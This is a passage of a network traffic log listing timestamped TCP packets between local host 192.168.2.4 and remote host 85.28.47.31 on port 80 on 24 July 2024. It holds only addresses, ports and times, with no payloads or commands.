Jul 24, 2024 02:39:06.694802046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694802046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694828033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694835901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694847107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694869041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694895983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694901943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694915056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694935083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694948912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694968939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694986105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695002079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695014000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695034981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695050955 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695069075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695081949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695101023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695117950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695132971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695147038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695167065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695178032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695199966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695215940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695233107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695245028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695266008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695281982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695301056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695322990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695332050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695343018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695384979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695578098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695611954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695637941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695645094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695657969 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695678949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695696115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695712090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695725918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695745945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695760012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695780039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.695794106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.695828915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785186052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785228014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785264015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785298109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785331011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785370111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785370111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785370111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785370111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785386086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785418987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785450935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785450935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785453081 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785470963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785495043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785504103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785542965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785572052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785576105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785587072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785609961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785643101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785646915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785664082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785684109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785693884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785717010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785747051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785751104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785765886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785784006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785816908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785818100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785835028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785861969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785865068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785895109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785909891 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785929918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785940886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.785967112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.785981894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786000013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786014080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786032915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786046028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786066055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786094904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786099911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786114931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786132097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786144972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786164999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786181927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786207914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786210060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786242962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786252975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786276102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786308050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786323071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786323071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786341906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786355019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786375999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786392927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786408901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786423922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786443949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786456108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786499977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786674023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786706924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786740065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786772013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786803961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786837101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786869049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786871910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786873102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786873102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786873102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786873102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786900997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786935091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786957979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786958933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786958933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.786967039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.786990881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787000895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787013054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787034035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787060976 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787070990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787079096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787123919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787384033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787416935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787432909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787450075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787463903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787483931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787506104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787517071 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787532091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787554979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787568092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787587881 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787605047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787620068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787633896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787652969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787667990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787684917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787699938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787719965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787730932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787751913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787780046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787792921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787796974 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787838936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.787894964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.787945032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.788100958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788116932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788132906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788152933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788155079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.788167953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788176060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.788184881 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788198948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788213968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788225889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.788229942 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788245916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788254976 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.788265944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788275003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.788285017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788300037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788309097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.788314104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788330078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.788347960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.788377047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789427996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789449930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789467096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789475918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789483070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789499044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789513111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789514065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789530039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789545059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789552927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789561987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789577007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789582968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789592028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789607048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789622068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789632082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789638042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789653063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789669037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789676905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789684057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789699078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789700985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789711952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789720058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789747000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789781094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789846897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789875031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789891005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789901972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789906025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789921045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789936066 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789937019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789948940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789952040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789967060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789982080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.789992094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.789998055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.790014029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.790020943 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.790030003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.790045023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.790050983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.790062904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.790088892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.790101051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.790124893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.790164948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879548073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879621983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879657984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879690886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879724026 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879756927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879806995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879841089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879843950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879844904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879844904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879844904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879844904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879844904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879874945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879908085 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879935980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879935980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879936934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879940987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879966974 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.879972935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.879987001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880006075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880033016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880037069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880053043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880070925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880084038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880104065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880116940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880137920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880152941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880175114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880182028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880230904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880279064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880311966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880342960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880376101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880408049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880439997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880464077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880464077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880464077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880464077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880464077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880471945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880537033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880570889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880577087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880577087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880578041 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880604982 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880621910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880647898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880744934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880774021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880805016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880837917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880868912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880901098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880923033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880923033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880923986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880923986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880923986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.880934000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.880969048 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881011009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881011009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881011009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881197929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881230116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881246090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881263018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881273031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881295919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881325960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.881328106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.881346941 CEST	49730	80	192.168.2.4	85.28.47.31
